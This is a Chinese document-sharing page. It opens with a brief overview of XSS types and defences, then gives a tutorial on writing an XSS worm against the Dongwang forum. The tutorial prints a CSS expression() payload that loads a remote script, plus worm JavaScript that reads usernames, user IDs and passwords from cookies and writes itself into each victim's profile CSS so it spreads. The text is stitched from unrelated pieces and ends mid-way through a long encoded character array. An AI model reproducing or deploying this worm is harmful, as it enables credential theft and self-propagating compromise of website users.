因为XSS破坏⼒强⼤,且产⽣的场景发杂,难以⼀次性解决。
现在业内达成的共识是:针对各种不同场景产⽣的XSS,需要区分情景对待。
第⼀种类型:反射型XSS反射型XSS只是简单地把⽤户输⼊的数据“反射”给浏览器。
也就是说,⿊客往往需要诱使⽤户“点击”⼀个恶意链接,才能攻击成功。
反射型XSS也叫做“⾮持久型XSS”(Non-persistent XSS)第⼆种类型:存储型XSS存储型XSS会把⽤户输⼊的数据“存储”在服务器端。
这种XSS具有很强的稳定性。
⽐较常见的场景就是,⿊客写下⼀篇包含有恶意JavaScript代码的博客⽂章,⽂章表达后,所有访问该博客⽂章的⽤户,都会在他们的浏览器中执⾏这段恶意的JavaScript代码。
⿊客把恶意的脚本保存到服务器端,所以这种XSS攻击叫做“存储型XSS”。
存储型XSS通常也叫做“持久型XSS”(Persistent XSS),因为从效果上来说,它存在的时间⽐较长的。
第三种类型:DOM Based XSS这种类型的XSS并⾮按照“数据收费保存在服务器端”来划分,DOM Based XSS从效果上来说也是反射型XSS。
XSS的防御XSS的防御是复杂的。
流⾏的浏览器都内置了⼀些对抗XSS的措施,⽐如Firefox的CSP、Noscript扩展,IE 8内置的XSS Filter等。
对于⽹站来说,也应该寻找优秀的解决⽅案,保护⽤户不被XSS攻击。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
由动网xss漏洞浅谈web蠕虫编写By 幻泉今天我们跳出php漏洞的讲解做了这节课,为了给各位初学会员一个对xss基本的认识。
本次课程简单的说只是个砖头,为了吸引各位的玉玉。
希望大家不吝赐教。
本次课程讲解的内容有:什么是xss蠕虫一个xss蠕虫都有什么基本功能如何编写一个xss蠕虫Xss蠕虫的延伸发展什么是xss蠕虫大家在接触黑客的时候想必也和我一样了解一些蠕虫病毒,比如前几年比较猖獗的熊猫烧香,还有最近Conficker蠕虫。
这些蠕虫的特性都是具有自传播,感染,变形等。
最近流行的猪流感按照理论也算蠕虫病毒。
(这里是医学界的,不要误会啊,呵呵。
)而近年来由于ajax流行,web2.0的一些特性,使得web蠕虫流行。
任何一个蠕虫都不无原缘无故发作的,比如熊猫烧香是利用挂马,远程扫描等方式感染的,而这归根结底还是系统有漏洞。
那么web蠕虫的切入点就是web有漏洞了。
从03 年脚本入侵流行一来,sql注射就是最流行的入侵方式,但是由于现在人们的安全意识的提高,sql漏洞越来越少,xss的漏洞就开始凸显出来,而xss可以使我们嵌入任意我们需要的代码,比如盗个cookie等,当别人访问的时候会吧自己的发送到你指定的文件里去。
(我这里只是简单说下如果想了解更多可以百度下)一个xss蠕虫都有什么基本功能之前在说熊猫烧香之类的蠕虫病毒已经说过了这个内容,传播感染和变形,而现在web蠕虫先不用发展那么高级,而我们只需要写出传播和感染就行,至于变形,除非漏洞被过滤了我们还需要绕过那么就需要一定得变形,而这种变形一般不会影响我们写的蠕虫文件,会影响到调用蠕虫文件的代码。
如何编写一个xss蠕虫本次课程以动网xss跨站为例。
(由于代码过多我只讲解部分。
针对跨站的一些资料我已经整理出来大部分了,大家可以看看/woshihuanquan/blog/category/Xss)body {xss:expression(function a(){var x =document.createElement('SCRIPT');x.src='http://localhost:81/js.js';x.defer = true;document.getElementsByTagName('HEAD')[0].appendChild(x)}functioninject(){window.setTimeout('a()',1000)}if(window.x!=1){window.x=1;inject()});} Code://作者:幻泉[B.S.N]//由于第一次写蠕虫所以代码很不规范//有很多bug正在修改中。
//传播过程没写完。
//alert(document.cookie);// JavaScript Documentvar http = "http://localhost:81";//定义当前论坛URLvar worm ="body {xss:expression(function a(){var x =document.createElement('SCRIPT');x.src='http://localhost:81/js.js';x.defer = true;document.getElementsByTagName('HEAD')[0].appendChild(x)}functioninject(){window.setTimeout('a()',1000)}if(window.x!=1){window.x=1;inject()});}";//主函数function mainhack(){//获取用户名var username="username";username = getcookie(username,"&");//判断用户是不是已经访问了// if(document.cookie.indexOf('huan')==-1){//判断是不是本站用户if(username!=""){//获取用户idvar userid="userid";userid = getcookie(userid,"&");//获取用户密码var password="password";password = getcookie(password,"&");//alert('hi,' + username + "," + userid + "," + password);//弹出用户名密码还有id//提交css地址var css = "/userspace.asp?sid=" + userid;var css1 = http + "/userspace.asp?act=saveedit"; //alert(css);//判断样式风格CSS是否为默认cssmodify = http + css + "&act=modifyskin";//alert(cssmodify);s=getdata(cssmodify);//获取当前css内容rs1 = "<textarea name=\"s_css\" id=\"s_css\"style=\"width:98%;height:80px;\">";rs2 = "</textarea>";cssstr = searchstr(rs1,rs2,s,65);//获取css内容if(cssstr.indexOf("xss") == -1){//判断是否已经感染没感染则执行下面代码感染那么就跳过。
/////////////////////////////////////////////////////////////////感染代码cssedit = http + css + "&act=saveskin";//alert(cssedit);csseditdata1 = "skinname=&addtoskins=0&s_css="; csseditdata3 = escape(strtostr(worm));csseditdata4 ="&submit=%B1%A3+%B4%E6+%C9%E8+%D6%C3";if(cssstr != ""){//如果用户的自定义css开启了那么我们就直接编辑csscsseditdata2 = escape(strtostr(cssstr)); csseditdata = csseditdata1 + csseditdata2 + csseditdata3 + csseditdata4;csspost = postdata(cssedit,csseditdata); //alert(csspost);}else{var postcssdata = "addleft=userinfo&addmain=usertopic&dragsubmit=%B1%A3%B4%E6%C9%E8%D6%C3&styleid=& stylepath=default01%2F&layoutset=1&layoutleft=userinfo&layoutmain=usertopic&layoutright=&spacetitle=%B1%EA%CC%E2&spaceintro=%BC%F2%BD%E9%2F%CB%B5%C3%F7";cssdata =postdata(css1,postcssdata);//alert(cssdata);cssstr=String.fromCharC ode(47,42,32,20840,23616,23450,20041,32,42,47,13,10,98,111,100,121,44,32,116,100, 44,116,104,32,123,13,10,9,102,111,110,116,45,102,97,109,105,108,121,58,65,114,105 ,97,108,44,32,72,101,108,118,101,116,105,99,97,44,32,115,97,110,115,45,115,101,11 4,105,102,59,102,111,110,116,45,115,105,122,101,58,49,50,112,120,59,108,105,110,1 01,45,104,101,105,103,104,116,32,58,32,110,111,114,109,97,108,59,13,10,125,13,10, 98,111,100,121,32,123,13,10,9,109,97,114,103,105,110,58,32,48,59,13,10,9,116,101, 120,116,45,97,108,105,103,110,58,32,99,101,110,116,101,114,59,13,10,9,112,97,100, 100,105,110,103,58,48,59,13,10,9,99,111,108,111,114,58,32,119,104,105,116,101,59, 13,10,9,98,97,99,107,103,114,111,117,110,100,58,35,52,52,66,54,70,65,32,117,114,1 08,40,112,97,103,101,95,98,103,46,103,105,102,41,32,114,101,112,101,97,116,45,120 ,32,116,111,112,32,108,101,102,116,59,13,10,125,13,10,13,10,97,32,123,13,10,9,99, 111,108,111,114,58,32,119,104,105,116,101,59,13,10,9,116,101,120,116,45,100,101,9 9,111,114,97,116,105,111,110,58,32,117,110,100,101,114,108,105,110,101,59,13,10,1 25,13,10,97,58,118,105,115,105,116,101,100,32,123,13,10,9,99,111,108,111,114,58,3 2,119,104,105,116,101,59,13,10,125,13,10,97,58,104,111,118,101,114,32,123,13,10,9 ,99,111,108,111,114,58,32,119,104,105,116,101,59,13,10,9,116,101,120,116,45,100,1 01,99,111,114,97,116,105,111,110,58,32,117,110,100,101,114,108,105,110,101,59,13, 10,125,13,10,117,108,32,123,13,10,9,109,97,114,103,105,110,58,32,48,112,120,59,13 ,10,9,112,97,100,100,105,110,103,58,32,48,112,120,59,13,10,125,13,10,105,109,103, 32,123,98,111,114,100,101,114,58,32,110,111,110,101,59,125,13,10,46,115,112,97,99 ,101,123,99,108,101,97,114,58,98,111,116,104,59,125,13,10,46,98,117,116,116,111,1 10,123,13,10,9,98,111,114,100,101,114,58,50,112,120,32,111,117,116,115,101,116,32 ,35,57,56,66,66,68,55,59,32,98,97,99,107,103,114,111,117,110,100,58,35,69,70,70,5 4,70,66,59,32,99,117,114,115,111,114,32,58,32,112,111,105,110,116,101,114,59,13,1 0,125,13,10,116,97,98,108,101,44,100,105,118,44,108,105,123,13,10,9,119,111,114,1 00,45,119,114,97,112,32,58,32,98,114,101,97,107,45,119,111,114,100,32,59,119,111, 114,100,45,98,114,101,97,107,32,58,32,98,114,101,97,107,45,97,108,108,32,59,13,10 ,125,13,10,116,97,98,108,101,46,115,112,97,99,101,116,97,98,108,101,123,13,10,9,1 16,101,120,116,45,97,108,105,103,110,58,108,101,102,116,59,13,10,9,99,111,108,111 ,114,58,35,48,48,48,59,13,10,9,119,105,100,116,104,58,57,56,37,59,13,10,13,10,125 ,13,10,116,104,123,13,10,9,98,97,99,107,103,114,111,117,110,100,58,117,114,108,40 ,34,98,103,49,46,103,105,102,34,41,32,35,53,54,57,67,70,67,59,13,10,9,104,101,105 ,103,104,116,58,50,52,112,120,59,13,10,9,108,105,110,101,45,104,101,105,103,104,1 16,58,50,52,112,120,59,13,10,9,98,111,114,100,101,114,58,49,112,120,32,115,111,10 8,105,100,32,35,53,53,57,65,69,52,59,13,10,125,13,10,116,97,98,108,101,46,115,112 ,97,99,101,116,97,98,108,101,32,116,104,123,13,10,9,99,111,108,111,114,58,119,104 ,105,116,101,59,13,10,9,104,101,105,103,104,116,58,50,48,112,120,59,13,10,9,116,1 01,120,116,45,105,110,100,101,110,116,58,49,53,112,120,59,13,10,125,13,10,13,10,1 16,97,98,108,101,46,115,112,97,99,101,116,111,112,105,99,32,116,104,123,13,10,9,99,111,108,111,114,58,119,104,105,116,101,59,13,10,9,104,101,105,103,104,116,58,50 ,48,112,120,59,13,10,125,13,10,116,97,98,108,101,46,115,112,97,99,101,116,111,112 ,105,99,32,97,44,116,100,123,13,10,9,99,111,108,111,114,58,35,48,48,48,59,13,10,1 25,13,10,116,97,98,108,101,46,115,112,97,99,101,116,111,112,105,99,32,97,58,118,1 05,115,105,116,101,100,44,116,97,98,108,101,46,115,112,97,99,101,116,111,112,105, 99,32,97,58,104,111,118,101,114,123,13,10,9,99,111,108,111,114,58,35,48,48,52,50, 56,52,59,13,10,125,13,10,46,98,111,114,100,101,114,48,123,32,112,97,100,100,105,1 10,103,45,116,111,112,58,52,112,120,59,13,10,125,13,10,46,98,111,114,100,101,114, 49,123,13,10,9,98,111,114,100,101,114,45,98,111,116,116,111,109,58,49,112,120,32, 32,100,111,116,116,101,100,32,103,114,97,121,59,32,104,101,105,103,104,116,58,50, 50,112,120,59,32,108,105,110,101,45,104,101,105,103,104,116,58,50,50,112,120,59,1 3,10,125,13,10,46,98,111,114,100,101,114,50,123,13,10,9,98,97,99,107,103,114,111, 117,110,100,45,99,111,108,111,114,58,35,68,53,69,65,70,54,59,13,10,9,98,111,114,1 00,101,114,45,98,111,116,116,111,109,58,49,112,120,32,32,100,111,116,116,101,100, 32,103,114,97,121,59,13,10,9,32,108,105,110,101,45,104,101,105,103,104,116,58,50, 50,112,120,59,13,10,125,13,10,13,10,13,10,47,42,32,39029,38754,23485,24230,35774, 32622,32,42,47,13,10,35,116,111,112,44,35,104,101,97,100,44,35,109,101,110,117,11 5,44,35,102,111,111,116,101,114,44,35,115,112,97,99,101,109,97,105,110,13,10,123, 13,10,9,109,97,114,103,105,110,58,48,32,97,117,116,111,59,13,10,9,109,105,110,45, 119,105,100,116,104,58,32,55,54,48,112,120,59,13,10,9,119,105,100,116,104,58,32,5 7,53,50,112,120,59,13,10,125,13,10,13,10,47,42,32,39029,38754,24038,21491,36793,2 6694,35774,32622,32,42,47,13,10,100,105,118,46,108,101,102,116,44,100,105,118,46, 114,105,103,104,116,123,13,10,9,98,97,99,107,103,114,111,117,110,100,45,99,111,10 8,111,114,58,35,51,51,57,57,67,67,59,13,10,9,119,105,100,116,104,58,51,112,120,59 ,13,10,9,104,101,105,103,104,116,58,32,49,48,48,37,59,13,10,125,13,10,13,10,47,42 ,32,39030,37096,20449,24687,32,42,47,13,10,35,116,111,112,123,13,10,9,109,97,114, 103,105,110,45,116,111,112,58,55,112,120,59,13,10,9,104,101,105,103,104,116,58,32 ,49,56,112,120,59,13,10,9,112,97,100,100,105,110,103,58,48,112,120,59,13,10,9,99, 111,108,111,114,58,119,104,105,116,101,59,13,10,9,47,42,13,10,9,98,97,99,107,103, 114,111,117,110,100,45,99,111,108,111,114,58,32,35,51,51,57,57,67,67,59,13,10,9,9 8,111,114,100,101,114,45,98,111,116,116,111,109,58,49,112,120,32,115,111,108,105, 100,32,119,104,105,116,101,59,13,10,9,42,47,13,10,125,13,10,35,116,111,112,32,100 ,105,118,46,108,101,102,116,123,102,108,111,97,116,58,32,108,101,102,116,59,119,1 05,100,116,104,58,48,112,120,59,125,13,10,35,116,111,112,32,100,105,118,46,114,10 5,103,104,116,123,102,108,111,97,116,58,114,105,103,104,116,59,119,105,100,116,10 4,58,48,112,120,59,125,13,10,35,116,111,112,32,100,105,118,46,99,101,110,116,101, 114,123,13,10,9,104,101,105,103,104,116,58,49,53,112,120,59,13,10,9,108,105,110,1 01,45,104,101,105,103,104,116,58,49,53,112,120,59,13,10,9,102,108,111,97,116,58,3 2,108,101,102,116,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,32,114,105, 103,104,116,59,13,10,9,119,105,100,116,104,58,32,57,56,37,59,13,10,125,13,10,47,4 2,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,4 5,45,45,45,45,45,45,32,42,47,13,10,13,10,47,42,32,39030,37096,32,42,47,13,10,35,1 04,101,97,100,123,13,10,9,104,101,105,103,104,116,58,32,54,48,112,120,59,13,10,9, 112,97,100,100,105,110,103,58,48,112,120,59,13,10,9,99,111,108,111,114,58,119,104111,108,111,114,58,35,53,54,57,67,70,67,59,13,10,9,42,47,13,10,125,13,10,13,10,35 ,104,101,97,100,32,100,105,118,46,108,101,102,116,123,102,108,111,97,116,58,108,1 01,102,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,104,101,97,100,32 ,100,105,118,46,114,105,103,104,116,123,102,108,111,97,116,58,114,105,103,104,116 ,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,104,101,97,100,32,100,105,1 18,46,99,101,110,116,101,114,123,13,10,9,109,97,114,103,105,110,58,53,112,120,32, 49,48,112,120,32,53,112,120,32,49,48,112,120,59,13,10,9,102,108,111,97,116,58,32, 108,101,102,116,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,32,108,101,10 2,116,59,13,10,9,119,105,100,116,104,58,32,57,56,37,59,13,10,125,13,10,35,104,101 ,97,100,32,100,105,118,46,99,101,110,116,101,114,32,46,116,105,116,108,101,123,13 ,10,9,102,111,110,116,45,115,105,122,101,58,32,49,54,112,120,59,13,10,9,102,111,1 10,116,45,119,101,105,103,104,116,58,98,111,108,100,59,13,10,9,104,101,105,103,10 4,116,58,51,48,112,120,59,13,10,9,108,105,110,101,45,104,101,105,103,104,116,58,5 1,48,112,120,59,13,10,9,111,118,101,114,102,108,111,119,58,32,104,105,100,100,101 ,110,59,32,109,97,114,103,105,110,58,48,112,120,59,32,112,97,100,100,105,110,103, 58,48,112,120,59,13,10,125,13,10,35,104,101,97,100,32,100,105,118,46,99,101,110,1 16,101,114,32,46,105,110,116,114,111,123,13,10,9,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,50,48,112,120,59,32,109,97,114,103,105,110 ,58,48,112,120,59,32,112,97,100,100,105,110,103,58,48,112,120,59,13,10,125,13,10, 13,10,13,10,47,42,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45, 45,45,45,45,45,45,45,45,45,45,45,45,32,42,47,13,10,13,10,47,42,32,23548,33322,370 96,20221,32,42,47,13,10,35,109,101,110,117,115,123,13,10,9,98,111,114,100,101,114 ,45,98,111,116,116,111,109,58,48,112,120,32,115,111,108,105,100,32,35,51,51,57,57 ,67,67,59,13,10,9,104,101,105,103,104,116,58,32,51,48,112,120,32,33,105,109,112,1 11,114,116,97,110,116,59,13,10,9,104,101,105,103,104,116,58,32,50,57,112,120,59,1 3,10,125,13,10,35,109,101,110,117,115,32,100,105,118,46,108,101,102,116,123,102,1 08,111,97,116,58,108,101,102,116,59,119,105,100,116,104,58,48,112,120,59,125,13,1 0,35,109,101,110,117,115,32,100,105,118,46,114,105,103,104,116,123,102,108,111,97 ,116,58,114,105,103,104,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35, 109,101,110,117,115,32,100,105,118,46,99,101,110,116,101,114,123,13,10,9,102,108, 111,97,116,58,108,101,102,116,59,13,10,9,108,105,110,101,45,104,101,105,103,104,1 16,58,110,111,114,109,97,108,59,13,10,13,10,125,13,10,35,109,101,110,117,115,32,1 17,108,123,13,10,9,112,97,100,100,105,110,103,58,48,112,120,32,53,48,112,120,32,4 8,32,48,112,120,59,13,10,9,108,105,115,116,45,115,116,121,108,101,58,110,111,110, 101,59,13,10,125,13,10,35,109,101,110,117,115,32,108,105,123,13,10,9,109,97,114,1 03,105,110,58,48,59,13,10,9,112,97,100,100,105,110,103,58,48,59,13,10,9,102,108,1 11,97,116,58,114,105,103,104,116,59,13,10,125,13,10,35,109,101,110,117,115,32,108 ,105,32,97,123,13,10,9,47,42,98,97,99,107,103,114,111,117,110,100,58,117,114,108, 40,34,109,101,110,117,108,101,102,116,46,103,105,102,34,41,32,110,111,45,114,101, 112,101,97,116,32,108,101,102,116,32,116,111,112,59,42,47,13,10,9,116,101,120,116 ,45,100,101,99,111,114,97,116,105,111,110,58,110,111,110,101,59,13,10,125,13,10,3 5,109,101,110,117,115,32,108,105,32,97,32,115,112,97,110,123,13,10,9,109,97,114,1 03,105,110,45,116,111,112,58,49,112,120,59,13,10,9,109,97,114,103,105,110,45,108,104,105,116,101,59,13,10,9,98,111,114,100,101,114,58,50,112,120,32,115,111,108,10 5,100,32,35,48,56,54,66,65,66,59,13,10,9,98,111,114,100,101,114,45,98,111,116,116 ,111,109,58,48,112,120,59,13,10,9,47,42,98,97,99,107,103,114,111,117,110,100,58,1 17,114,108,40,34,109,101,110,117,114,105,103,104,116,46,103,105,102,34,41,32,110, 111,45,114,101,112,101,97,116,32,114,105,103,104,116,32,116,111,112,59,42,47,13,1 0,9,112,97,100,100,105,110,103,58,56,112,120,32,56,112,120,32,52,112,120,32,56,11 2,120,59,13,10,32,32,32,32,99,111,108,111,114,58,35,48,48,54,55,65,57,59,13,10,9, 100,105,115,112,108,97,121,58,98,108,111,99,107,59,13,10,125,13,10,13,10,47,42,32 ,67,111,109,109,101,110,116,101,100,32,66,97,99,107,115,108,97,115,104,32,72,97,9 9,107,32,104,105,100,101,115,32,114,117,108,101,32,102,114,111,109,32,73,69,53,45 ,77,97,99,32,92,42,47,13,10,35,109,101,110,117,115,32,108,105,32,97,32,115,112,97 ,110,32,123,102,108,111,97,116,58,110,111,110,101,59,125,13,10,32,47,42,32,69,110 ,100,32,73,69,53,45,77,97,99,32,104,97,99,107,32,42,47,13,10,13,10,13,10,47,42,45 ,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 ,45,45,45,45,45,32,42,47,13,10,47,42,32,31649,29702,24037,20855,26679,24335,32,42 ,47,13,10,35,115,112,97,99,101,116,111,111,108,123,13,10,9,104,101,105,103,104,11 6,58,56,48,112,120,59,13,10,9,119,105,100,116,104,58,57,54,37,59,13,10,9,109,97,1 14,103,105,110,58,48,32,97,117,116,111,59,13,10,9,99,108,101,97,114,58,98,111,116 ,104,59,9,13,10,125,13,10,35,115,112,97,99,101,116,111,111,108,32,116,97,98,108,1 01,123,13,10,9,98,97,99,107,103,114,111,117,110,100,45,99,111,108,111,114,58,35,7 0,70,70,70,67,49,59,13,10,9,98,111,114,100,101,114,58,49,112,120,32,100,97,115,10 4,101,100,32,35,53,54,57,67,70,67,59,13,10,9,99,111,108,111,114,58,35,48,48,48,59 ,13,10,125,13,10,35,115,112,97,99,101,116,111,111,108,32,46,98,117,116,116,111,11 0,123,98,111,114,100,101,114,58,48,112,120,32,115,111,108,105,100,32,35,48,48,48, 59,32,98,97,99,107,103,114,111,117,110,100,58,35,52,52,52,32,117,114,108,40,34,98 ,117,116,116,111,110,95,98,103,46,103,105,102,34,41,59,32,102,111,110,116,45,115, 105,122,101,58,49,50,112,120,59,32,99,111,108,111,114,58,35,102,102,102,59,32,104 ,101,105,103,104,116,58,50,53,112,120,59,99,117,114,115,111,114,32,58,32,112,111, 105,110,116,101,114,59,32,109,97,114,103,105,110,45,108,101,102,116,58,50,112,120 ,59,125,13,10,46,99,108,101,97,114,103,105,102,123,13,10,9,102,108,111,97,116,58, 32,114,105,103,104,116,59,32,109,97,114,103,105,110,58,32,50,112,120,32,53,112,12 0,32,48,32,48,59,13,10,125,13,10,105,109,103,46,98,108,111,99,107,123,13,10,9,102 ,108,111,97,116,58,32,108,101,102,116,59,13,10,9,109,97,114,103,105,110,58,32,50, 112,120,32,53,112,120,32,48,32,53,112,120,59,13,10,125,13,10,46,99,108,101,97,114 ,103,105,102,32,44,32,46,105,109,103,111,110,99,108,105,99,107,44,105,109,103,46, 98,108,111,99,107,123,13,10,9,99,117,114,115,111,114,58,112,111,105,110,116,101,1 14,59,98,111,114,100,101,114,58,48,112,120,59,13,10,125,13,10,13,10,35,109,111,10 0,117,108,101,100,101,108,123,13,10,9,100,105,115,112,108,97,121,58,110,111,110,1 01,59,13,10,125,13,10,13,10,47,42,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 ,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,32,42,47,13,10,47,42,32,24213 ,37096,32,42,47,13,10,35,102,111,111,116,101,114,123,13,10,9,99,108,101,97,114,58 ,98,111,116,104,59,13,10,9,104,101,105,103,104,116,58,54,48,112,120,59,13,10,9,10 9,97,114,103,105,110,45,116,111,112,58,53,112,120,59,13,10,125,13,10,35,102,111,111,116,101,114,32,100,105,118,46,108,101,102,116,123,102,108,111,97,116,58,108,10 1,102,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,102,111,111,116,10 1,114,32,100,105,118,46,114,105,103,104,116,123,102,108,111,97,116,58,114,105,103 ,104,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,102,111,111,116,101 ,114,32,100,105,118,46,99,101,110,116,101,114,123,13,10,9,119,105,100,116,104,58, 57,56,37,59,13,10,32,102,108,111,97,116,58,108,101,102,116,59,13,10,125,13,10,35, 102,111,111,116,101,114,32,100,105,118,46,99,111,112,121,114,105,103,104,116,123, 13,10,13,10,9,116,101,120,116,45,97,108,105,103,110,58,114,105,103,104,116,59,13, 10,125,13,10,13,10,35,116,111,112,95,115,116,121,108,101,32,123,32,100,105,115,11 2,108,97,121,58,110,111,110,101,32,125,13,10,35,98,111,116,95,115,116,121,108,101 ,32,123,32,100,105,115,112,108,97,121,58,110,111,110,101,32,125,13,10,46,109,111, 98,117,108,101,95,98,111,116,32,123,32,100,105,115,112,108,97,121,58,110,111,110, 101,32,125,13,10,46,109,111,98,117,108,101,95,116,111,112,32,123,32,100,105,115,1 12,108,97,121,58,110,111,110,101,32,125,13,10,13,10,13,10,47,42,45,45,45,45,45,45 ,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 ,32,42,47,13,10,47,42,32,20013,38388,20027,20307,32,42,47,13,10,35,115,112,97,99, 101,109,97,105,110,123,13,10,9,99,111,108,111,114,58,35,48,48,48,59,13,10,9,98,97 ,99,107,103,114,111,117,110,100,58,119,104,105,116,101,59,13,10,9,98,111,114,100, 101,114,58,49,112,120,32,115,111,108,105,100,32,35,49,54,55,67,66,57,59,13,10,9,9 8,111,114,100,101,114,45,116,111,112,58,48,112,120,59,13,10,125,13,10,35,115,112, 97,99,101,109,97,105,110,32,97,123,13,10,9,99,111,108,111,114,58,35,48,48,52,50,5 6,52,59,13,10,9,116,101,120,116,45,100,101,99,111,114,97,116,105,111,110,58,32,11 0,111,110,101,59,13,10,125,13,10,35,115,112,97,99,101,109,97,105,110,32,97,58,118 ,105,115,105,116,101,100,44,35,115,112,97,99,101,109,97,105,110,32,97,58,104,111, 118,101,114,123,13,10,9,99,111,108,111,114,58,35,48,48,52,50,56,52,59,13,10,9,116 ,101,120,116,45,100,101,99,111,114,97,116,105,111,110,58,32,110,111,110,101,59,13 ,10,125,13,10,13,10,35,115,112,97,99,101,109,97,105,110,32,100,105,118,46,99,101, 110,116,101,114,123,13,10,9,99,108,101,97,114,58,98,111,116,104,59,13,10,9,112,97 ,100,100,105,110,103,58,48,112,120,13,10,9,98,97,99,107,103,114,111,117,110,100,5 8,119,104,105,116,101,59,13,10,9,109,97,114,103,105,110,58,48,112,120,59,13,10,9, 119,105,100,116,104,58,49,48,48,37,59,13,10,9,116,101,120,116,45,97,108,105,103,1 10,58,99,101,110,116,101,114,59,13,10,125,13,10,13,10,13,10,46,99,111,108,117,109 ,110,123,109,97,114,103,105,110,58,48,112,120,59,112,97,100,100,105,110,103,58,48 ,112,120,59,102,108,111,97,116,58,108,101,102,116,59,111,118,101,114,102,108,111, 119,58,104,105,100,100,101,110,59,125,13,10,46,109,111,100,117,108,101,123,109,97 ,114,103,105,110,58,54,112,120,32,50,112,120,32,50,112,120,32,50,112,120,59,112,9 7,100,100,105,110,103,58,48,112,120,59,98,111,114,100,101,114,58,49,112,120,32,11 5,111,108,105,100,32,35,53,53,57,65,69,52,59,98,97,99,107,103,114,111,117,110,100 ,45,99,111,108,111,114,58,119,104,105,116,101,59,108,105,115,116,45,115,116,121,1 08,101,58,110,111,110,101,59,125,13,10,46,109,111,100,117,108,101,32,46,116,105,1 16,108,101,123,13,10,9,98,97,99,107,103,114,111,117,110,100,58,117,114,108,40,34, 98,103,49,46,103,105,102,34,41,32,35,53,54,57,67,70,67,59,13,10,9,112,97,100,100, 105,110,103,58,48,112,120,59,13,10,9,119,105,100,116,104,58,49,48,48,37,59,13,10, 9,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110,59,13,10,9,102,111,110,116,45,119,101,105,103,104,116,58,98,111,108,100,59,13,10,9,99,111,108,111,114 ,58,119,104,105,116,101,59,13,10,9,104,101,105,103,104,116,58,50,53,112,120,59,13 ,10,9,108,105,110,101,45,104,101,105,103,104,116,58,50,53,112,120,59,13,10,125,13 ,10,46,99,111,110,116,123,13,10,9,112,97,100,100,105,110,103,58,53,112,120,32,48, 32,53,112,120,32,48,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,99,101,11 0,116,101,114,59,13,10,9,109,105,110,45,104,101,105,103,104,116,58,53,48,112,120, 59,13,10,9,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110,59,13,10,9, 98,97,99,107,103,114,111,117,110,100,58,35,102,102,102,59,13,10,125,13,10,13,10,1 3,10,35,115,112,97,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,44,35,115 ,112,97,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,58,108,105,110,107,4 4,35,115,112,97,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,58,118,105,1 15,105,116,101,100,123,13,10,9,116,101,120,116,45,100,101,99,111,114,97,116,105,1 11,110,58,32,110,111,110,101,59,13,10,9,99,111,108,111,114,58,35,48,48,52,50,56,5 2,59,13,10,9,102,111,110,116,45,115,105,122,101,58,49,50,112,120,59,13,10,9,102,1 11,110,116,45,119,101,105,103,104,116,58,49,48,48,59,13,10,125,13,10,35,115,112,9 7,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,58,104,111,118,101,114,123 ,13,10,9,99,111,108,111,114,58,35,102,54,48,59,13,10,9,116,101,120,116,45,100,101 ,99,111,114,97,116,105,111,110,58,32,117,110,100,101,114,108,105,110,101,59,13,10 ,125,13,10,13,10,13,10,46,98,111,116,116,111,109,123,13,10,9,119,105,100,116,104, 58,57,54,37,59,13,10,9,104,101,105,103,104,116,58,51,48,112,120,59,13,10,9,13,10, 125,13,10,46,98,111,116,116,111,109,32,46,98,111,116,116,111,109,49,123,13,10,9,1 19,105,100,116,104,58,52,57,37,59,102,108,111,97,116,58,108,101,102,116,59,13,10, 9,116,101,120,116,45,97,108,105,103,110,58,108,101,102,116,59,13,10,125,13,10,46, 98,111,116,116,111,109,32,46,98,111,116,116,111,109,50,123,13,10,9,119,105,100,11 6,104,58,52,56,37,59,102,108,111,97,116,58,108,101,102,116,59,13,10,9,99,111,108, 111,114,58,103,114,97,121,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,114 ,105,103,104,116,59,13,10,125,13,10,13,10,46,13,10,13,10,35,116,101,109,112,112,9 7,110,110,97,108,123,13,10,9,100,105,115,112,108,97,121,58,110,111,110,101,59,13, 10,125,13,10,13,10,13,10,35,76,101,102,116,67,104,97,110,110,97,108,123,13,10,13, 10,125,13,10,35,77,97,105,110,67,104,97,110,110,97,108,123,13,10,125,13,10,35,77, 97,105,110,67,104,97,110,110,97,108,32,46,109,111,100,117,108,101,123,32,13,10,13 ,10,125,13,10,13,10,35,82,105,103,104,116,67,104,97,110,110,97,108,123,13,10,125, 13,10,35,76,101,102,116,67,104,97,110,110,97,108,44,35,77,97,105,110,67,104,97,11 0,110,97,108,44,35,82,105,103,104,116,67,104,97,110,110,97,108,123,13,10,32,98,11 1,114,100,101,114,58,49,112,120,32,100,97,115,104,101,100,32,35,102,102,102,59,13 ,10,125,13,10,35,77,97,105,110,67,104,97,110,110,97,108,32,46,109,111,100,117,108 ,101,32,46,116,105,116,108,101,123,13,10,9,116,101,120,116,45,97,108,105,103,110, 58,108,101,102,116,59,13,10,125,13,10,35,76,101,102,116,67,104,97,110,110,97,108, 32,46,116,111,112,105,99,44,35,82,105,103,104,116,67,104,97,110,110,97,108,32,46, 